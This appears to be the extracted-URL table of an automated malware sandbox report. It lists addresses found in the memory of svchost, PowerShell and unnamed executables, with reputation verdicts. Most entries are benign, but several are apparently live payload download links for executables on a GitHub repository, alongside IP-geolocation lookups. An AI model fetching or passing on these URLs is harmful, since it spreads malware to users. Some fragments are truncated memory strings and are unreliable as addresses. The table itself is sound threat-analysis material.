https://github.com/features/issues	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://user-images.githubusercontent.com/	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.micrt.com/pkiops/certs/Microsoft%20Time-Stamp%20PCA%202010(1).crt0	powershell.exe, 0000001F.00000002.2092893738.0000017B7D8B0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/rootbossko/myfiles/main/my_backup_app.exep4	svchost.exe, 0000001E.00000002.2679717788.000002AC9D878000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/rootbossko/myfiles/raw/main/my_backup_app.exe"	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/github-logo-55c5b9a1fe52.png	svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://curl.se/docs/hsts.html	Z369335.exe, 00000029.00000000.2361090178.00007FF613B9E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A1E4E000.00000002.00000001.01000000.0000000C.sdmp, usvcinsta64.exe, 00000060.00000000.2708505470.00007FF621EC4000.00000002.00000001.01000000.00000010.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_	svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://skills.github.com	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/solutions/industries/manufacturing	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/dark_high_contrast-2494e44ccdc5.css	svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_mo	svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/rootbossko/myfiles/raw/main/myapp9.exe"	svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_github_arianotify-polyfill_ariaNotify-po	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.github.com/_private/browser/stats	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/ui_packages_react-core_create-browser-history_ts-ui_packages_	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 0000001F.00000002.2069395012.0000017B1008E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2020827601.0000017B01C59000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2021541888.000001300274C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2086759234.0000013010BBE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002D.00000002.2481633473.000001D0C311B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002D.00000002.2739375152.000001D0D153A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2477653300.000001FAB919D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2731045402.000001FAC75BB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ipinfo.io/json	Z369335.exe, 00000029.00000002.2514293921.00007FF61319E000.00000002.00000001.01000000.0000000B.sdmp, Z369335.exe, 00000029.00000000.2361090178.00007FF61319E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000002.2487451063.00007FF7A144E000.00000002.00000001.01000000.0000000C.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A144E000.00000002.00000001.01000000.0000000C.sdmp, usvcinsta64.exe, 00000060.00000000.2708505470.00007FF621EC4000.00000002.00000001.01000000.00000010.sdmp	false	Avira URL Cloud: safe	unknown
http://ip-api.com	svchost.exe, 0000001B.00000002.2653908426.00000204993B4000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.00000204993B8000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.00000204993A4000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D874000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D864000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D878000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/dark_dimmed-afda8eb0fb33.css	svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/notifications-global-54f34167118d.js	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/solutions/devops	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/app_assets_modules_github_behaviors_ajax-error_ts-app_assets_	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	svchost.exe, 0000001B.00000002.2653908426.00000204993A4000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D864000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2020827601.0000017B00001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2021541888.0000013000B31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002D.00000002.2481633473.000001D0C14C2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2477653300.000001FAB7531000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ion=v4.5ons	powershell.exe, 0000001F.00000002.2098519550.0000017B7DBA2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000032.00000002.2477653300.000001FAB7801000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 0000001F.00000002.2020827601.0000017B002D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2021541888.0000013000E02000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002D.00000002.2481633473.000001D0C1781000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2477653300.000001FAB7801000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000032.00000002.2477653300.000001FAB7801000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_dompurify_dist_purify_js-89a69c248502.js	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000032.00000002.2731045402.000001FAC75BB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.githubassets.com/assets/github-octocat-13c86b8b336d.png	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.github.com/get-started/accessibility/keyboard-shortcuts	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/keyboard-shortcuts-dialog-3596be158eba.js	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 0000001B.00000002.2655770498.00000204B1C1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2681327360.000002ACB7034000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://curl.se/docs/alt-svc.html	Z369335.exe, 00000029.00000000.2361090178.00007FF613B9E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A1E4E000.00000002.00000001.01000000.0000000C.sdmp, usvcinsta64.exe, 00000060.00000000.2708505470.00007FF621EC4000.00000002.00000001.01000000.00000010.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/ui_packages_updatable-content_updatable-content_ts-b2e3c7cc6e	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Button_Button_js-63	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/features/packages	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000032.00000002.2477653300.000001FAB7801000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_ActionList_index_js	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modu	svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/dark-9c5b7a476542.css	svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/element-registry-4ba20689fdff.js	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.github	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://resources.github.com/learn/pathways	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_j	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_oddbird_popover-polyfill_dist_popover_js	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/trending	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com	svchost.exe, 0000001E.00000002.2679717788.000002AC9D994000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D878000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://worldtimeapi.org/api/timezone/Etc/UTC	Z369335.exe, 00000029.00000000.2361090178.00007FF613B9E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A1E4E000.00000002.00000001.01000000.0000000C.sdmp	false	Avira URL Cloud: safe	unknown
http://www.zlib.net/D	Z369335.exe, 00000029.00000000.2361090178.00007FF613B9E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A1E4E000.00000002.00000001.01000000.0000000C.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_p	svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 0000001F.00000002.2020827601.0000017B002D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2021541888.0000013000E02000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002D.00000002.2481633473.000001D0C1781000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2477653300.000001FAB7801000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/solutions/industries/healthcare	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://raw.githubusercontent.com	svchost.exe, 0000001B.00000002.2653908426.00000204993D5000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.00000204994D3000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.00000204993F9000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D895000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D8B9000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D994000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://go.microsoft.c	powershell.exe, 0000001F.00000002.2084881349.0000017B7CC5A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://go.microsoft.ctain	powershell.exe, 0000001F.00000002.2084881349.0000017B7CC5A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/enterprise/advanced-security	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-0e07cc183eed.js	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.github.com/_private/browser/errors	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://curl.se/V	Z369335.exe, 00000029.00000000.2361090178.00007FF613B9E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A1E4E000.00000002.00000001.01000000.0000000C.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/light-3e154969b9f9.css	svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/primer-react-css.ae7959f1a60166af593d.module.css	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/features/discussions	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/topics	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/enterprise/startups	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com	svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D90F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/dark_tritanopia-68d6b2c79663.css	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/light_high_contrast-fd5499848985.css	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://partner.github.com	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/fluidicon.png	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
